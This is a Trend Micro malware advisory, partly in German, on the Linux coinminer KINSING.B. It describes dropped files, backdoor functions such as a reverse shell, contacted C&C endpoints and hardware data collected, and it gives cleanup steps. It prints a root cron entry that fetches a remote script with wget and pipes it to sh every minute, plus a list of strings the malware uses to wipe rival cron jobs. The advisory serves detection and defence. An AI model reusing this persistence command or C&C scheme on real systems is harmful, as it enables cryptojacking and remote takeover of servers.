Analyse von: Joshua Paul Ignacio   

 

Trojan.Linux.Agent (IKARUS); ELF/Agent.HN!tr (FORTINET)

 Plattform:

Linux/Unix

 Risikobewertung (gesamt):
 Schadenspotenzial::
 Verteilungspotenzial::
 reportedInfection:
 Trend Micro Lösungen:
Niedrig
Mittel
Hoch
Kritisch

  • Malware-Typ:
    Coinminer

  • Zerstrerisch?:
    Nein

  • Verschlsselt?:
     

  • In the wild::
    Ja

  Überblick

Infektionsweg: Fallen gelassen von anderer Malware, Aus dem Internet heruntergeladen

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Führt Befehle eines externen, böswilligen Benutzers aus, wodurch das betroffene System gefährdet wird.

Verbindet sich mit einer bestimmten Website, um Daten zu versenden und zu empfangen.

  Technische Details

Dateigröße: 16,695,296 bytes
Dateityp: ELF
Speicherresiden: Ja
Erste Muster erhalten am: 15 Mai 2020
Schadteil: Terminates processes, Connects to URLs/IPs

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein und führt sie aus:

  • /tmp/salt-minions
  • One of the following:
    • /usr/bin/salt-store
    • /tmp/salt-store
    • /var/tmp/salt-store
  • /tmp/.ICEd-unix/VpJHY

Erstellt die folgenden Ordner:

  • /tmp/.ICEd-unix

Backdoor-Routine

Führt die folgenden Befehle eines externen, böswilligen Benutzers aus:

  • Downloads and executes a file
  • Reverse shell
  • Command Execution
  • Command Execution with outputs returned
  • Download and install updates of itself

Prozessbeendigung

Beendet die folgenden Prozesse, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

  • salt-minions

Andere Details

Verbindet sich mit der folgenden Website, um Daten zu versenden und zu empfangen:

  • {BLOCKED}.{BLOCKED}.129.111
  • {BLOCKED}.{BLOCKED}.88.186
  • {BLOCKED}.{BLOCKED}.200.161
  • {BLOCKED}.{BLOCKED}.44.216
  • {BLOCKED}.{BLOCKED}.87.231

Es macht Folgendes:

  • It reads the following system info:
    • Product Name
    • Product Version
    • Product Serial
    • Product UUID
    • Board Vendor
    • Board Name
    • Board Version
    • Board Serial
    • Board Asset Tag
    • Chassis Vendor
    • Chassis Type
    • Chassis Version
    • Chassis Serial
    • Chassis Asset Tag
    • Bios Vendor
    • Bios Version
    • Bios Date
    • Sys Vendor
    • Kernel Version

  • Reads the following information from /sys:
    • /sys/devices/system/cpu/possible
    • /sys/fs/cgroup/cpuset//cpuset.cpus
    • /sys/fs/cgroup/cpuset//cpuset/mems
    • /sys/devices/system/cpu/online
    • /sys/bus/cpu/devices/cpu{0-4}/topology/package_cpus
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_cpus
    • /sys/bus/cpu/devices/cpu{0-4}/topology/thread_siblings
    • /sys/bus/node/devices/node{0-4}/cpumap
    • /sys/bus/cpu/devices
    • /sys/bus/cpu/devices/cpu{0-4}/topology
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_siblings
    • /sys/bus/cpu/devices/cpu{0-4}/online
    • /sys/bus/cpu/devices/cpu{0-4}/topology/physical_package_id
    • /sys/bus/cpu/devices/cpu{0-4}/topology/die_cpu
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_id
    • /sys/bus/cpu/devices/cpu{0-4}/topology/book_siblings
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/level
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/size
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/coherency_line_size
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/number_of_sets
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/physical_line_partition
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/shared_cpu_map
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/type
    • /sys/kernel/mm/hugepages
    • /sys/bus/node/devices
    • /sys/bus/node/devices/node{0-4}/hugepages

  • Reads the following information from /proc:
    • /proc/cpuinfo
    • /proc/self/cgroup
    • /proc/mounts
    • /proc/meminfo
  • It creates the following cron jobs for persistence:
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * wget -q -O - http://{BLOCKED}.{BLOCKED}.117.137/c.sh | sh > /dev/null 2>&1
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store
  • Deletes the following cron jobs with the following strings:
    • "update.sh"
    • "logo4"
    • "logo9"
    • "logo0"
    • "logo"
    • "tor2web"
    • "jpg"
    • "png"
    • "tmp"
    • "zmreplchkr"
    • "aliyun.one"
    • "3.215.110.66.one"
    • "pastebin"
    • "onion"
    • "lsd.systemten.org"
    • "shuf"
    • "ash"
    • "mr.sh"
    • "185.181.10.234"
    • "localhost.xyz"
  • It sends the following HTTP request to the C&C Server:
    • GET /h
      • Checks for the connectivity on the C&C server
    • GET /get
      • Fetch the next task/command from the C&C server (404 Not Found means there is no ongoing task/command)
    • POST /o
      • Sends Exec output to the C&C server

  Lösungen

Mindestversion der Scan Engine: 9.850
Erste VSAPI Pattern-Datei: 15.870.05
Erste VSAPI Pattern veröffentlicht am: 15 Mai 2020
VSAPI OPR Pattern-Version: 15.871.00
VSAPI OPR Pattern veröffentlicht am: 16 Mai 2020

Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Coinminer.Linux.KINSING.B entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


Nehmen Sie an unserer Umfrage teil